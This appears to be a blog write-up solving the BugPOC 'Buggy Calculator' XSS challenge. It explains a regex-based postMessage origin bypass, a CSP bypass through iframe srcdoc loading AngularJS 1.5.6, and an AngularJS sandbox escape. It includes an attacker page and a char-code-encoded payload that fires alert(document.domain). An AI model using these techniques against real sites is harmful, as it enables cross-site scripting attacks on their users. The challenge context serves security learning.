BugPOC Buggy Calculator XSS Challenge Solution

Gowtham
4 min readAug 11, 2020

This is the challenge link http://calc.buggywebsite.com/ where we need to pop alert(document.domain)

Here is the overview of the steps:

  1. Bypassing postMessage() target origin check.
  2. Bypassing CSP.
  3. AngularJs sandbox escape.

Just a simple calculator. Checking its source code revealed 3 important files.

  1. script.js : which takes the above inputs from calculator and triggers the postMessage call

theiframe? Yes, That is the target iframe present in frame.html to which postMessage is sending data to. quick ref postmessage

postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it”

2. frame.html : which is a blank html page which reads the message sent from above script.js

3. angular.min.js : which is v1.5.6. You read it right. Isn’t this vulnerable to sandbox escape?. Lets keep a note of it

Lets dig-in and have a look at what frame.js is doing with the data we post to it.

Two things to be noted here

a. Origin check validation

b. innerHTML content is blacklisted for and &

Step 1: Bypass Origin check

Are they verifying the sender?. Yes. But not in a proper way. They are using regex to match the origin from where postMessage was sent from.

!/^http:\/\/calc.buggywebsite.com/.test(event.origin)

As seen below the request is validated for calc.buggywebsite.com origin. If it is any other origin it evaluates to true and thus we return from the function receiveMessage()

Since . (dot) is a match for any single character in that position we can send request from any other origin like calcXbuggywebsiteXcom.whatever

Perfect. It evaluates false. Lets quickly add the domain name to /etc/hosts

Now Lets create a simple page to post messages to that iframe.

<html> 
<head>
<script type="text/javascript">
function post(){
message = document.getElementById("xss").value;
console.log(message);
frame = document.getElementById("targetFrame");
frame.contentWindow.postMessage(message,'*');
}
</script>
</head>
<body>
<h1>Sending post message</h1>
<input size="200" type="textarea" id="xss" onfocusout="post()"> </br>
<iframe height="200px" width="800px" id="targetFrame" src="http://calc.buggywebsite.com/frame.html">
</body>
</html>

So, whatever input i give in the textarea and tab out it will be posted to http://calc.buggywebsite.com/frame.html and it prints out within its frame.

Step 2: CSP Bypass

Lets have a look at frame.html source code

Points to be noted:

  1. script-src : this directive specifies valid sources for javascript and it is set to ‘self’ which means we cannot load javascript files from other origins. And ‘unsafe-eval’ which means we can eval expressions in that page.
  2. object-src : this directive specifies legit sources for <object> element. which is set to ‘none’. So we cant do anything here

more about CSP here

As you read before angular.min.js exists. we can just use it to execute eval! Thus bypassing the CSP. But how?

Another iframe to the rescue:

thankfully iframe has srcdoc attribute

The srcdoc attribute specifies the HTML content of the page to show in the inline frame.

more about iframe here

So, we can load angular.min.js and print 49 using below payload

<iframe srcdoc=”<script src=angular.min.js></script><div ng-app>{{ 7*7 }} </div>”></iframe>

Perfect, angular expressions are being executed. we can just straight away jump into eval to breakout of sandbox.

Step 3: AngularJs sandbox escape

lets embed the sandbox escape code within our payload and see what happens.

<iframe srcdoc="<script src=angular.min.js></script><div ng-app>{{ a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a') }} </div>"></iframe>

The single quotes are present in the payload. It is being blacklisted from frame.js as mentioned earlier. Lets encode this sandbox payload.

Below code is the way to do it.

$eval(({}.toString()).constructor.fromCharCode(sandbox_payload_here))

Quick python to encode them to ascii.

>>> var = "a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(document.domain),a')"
>>> payload=""
>>> for v in var:
... payload+=str(ord(v))+","
...
...
>>> payload
'97,61,116,111,83,116,114,105,110,103,40,41,46,99,111,110,115,116,114,117,99,116,111,114,46,112,114,111,116,111,116,121,112,101,59,97,46,99,104,97,114,65,116,61,97,46,116,114,105,109,59,36,101,118,97,108,40,39,97,44,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,44,97,39,41,'
>>>

So the final payload without single quotes is:

<iframe srcdoc="<script src=angular.min.js></script><div ng-app>{{ $eval(({}.toString()).constructor.fromCharCode(97,61,116,111,83,116,114,105,110,103,40,41,46,99,111,110,115,116,114,117,99,116,111,114,46,112,114,111,116,111,116,121,112,101,59,97,46,99,104,97,114,65,116,61,97,46,116,114,105,109,59,36,101,118,97,108,40,39,97,44,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,44,97,39,41)) }}</div>"></iframe>

Lets try it

I thank bugpoc for creating this challenge.

--

--